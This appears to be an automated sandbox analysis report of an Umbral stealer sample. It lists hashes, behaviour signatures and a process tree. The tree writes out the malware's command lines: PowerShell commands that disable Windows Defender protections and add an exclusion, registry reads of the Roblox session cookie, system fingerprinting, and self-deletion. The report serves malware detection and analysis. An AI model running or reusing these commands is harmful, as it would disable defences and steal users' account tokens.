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Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09/01/2025, 04:44

General

  • Target

    986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe

  • Size

    227KB

  • MD5

    cb2467ac4a120eb71d645447de9edb11

  • SHA1

    9f51253c38be1f5b76a425d990ddc1f91052a14e

  • SHA256

    986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e

  • SHA512

    2a81afd3e9c0a7056d4c178bf51a3bd91af1a15f445b16f5b8405d1310e62f5908c1dde86232134e78ea4454d4fbc774d171d5de85bc1c7abfd5d748f9719393

  • SSDEEP

    6144:+loZM+rIkd8g+EtXHkv/iD4m3eQzZqStAY5rWWDdcvb8e1m/i:ooZtL+EP8m3eQzZqStAY5rWWDoZ

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe
    "C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1284
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe"
      2⤵
      • Views/modifies file attributes
      PID:2832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:476
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:580
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2664
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1336
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2060
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe" && pause
          2⤵
          • Deletes itself
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1560

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        3aa36b62bb7429320ed91f500d1aa169

        SHA1

        620f08c84f734e64857fbe2bc88bf772dfb35b72

        SHA256

        30075ca94ea28298a7d7734736aff7aac5139372b79b0b63ff651e58acfad6da

        SHA512

        bc007377629a354d6ce7ce14f65608071ea7fe5bb9dead2acbc186a008c0d2b649e1a382ada8d44c505ca85960cec8cfc47e0016211973141f6b4e1fe89ad84d

      • memory/1336-43-0x0000000001F70000-0x0000000001F78000-memory.dmp

        Filesize

        32KB

      • memory/2028-14-0x000000001B550000-0x000000001B832000-memory.dmp

        Filesize

        2.9MB

      • memory/2028-15-0x0000000002970000-0x0000000002978000-memory.dmp

        Filesize

        32KB

      • memory/2156-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

        Filesize

        4KB

      • memory/2156-1-0x0000000000920000-0x0000000000960000-memory.dmp

        Filesize

        256KB

      • memory/2156-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

        Filesize

        9.9MB

      • memory/2156-47-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

        Filesize

        9.9MB

      • memory/2860-7-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2860-8-0x00000000020F0000-0x00000000020F8000-memory.dmp

        Filesize

        32KB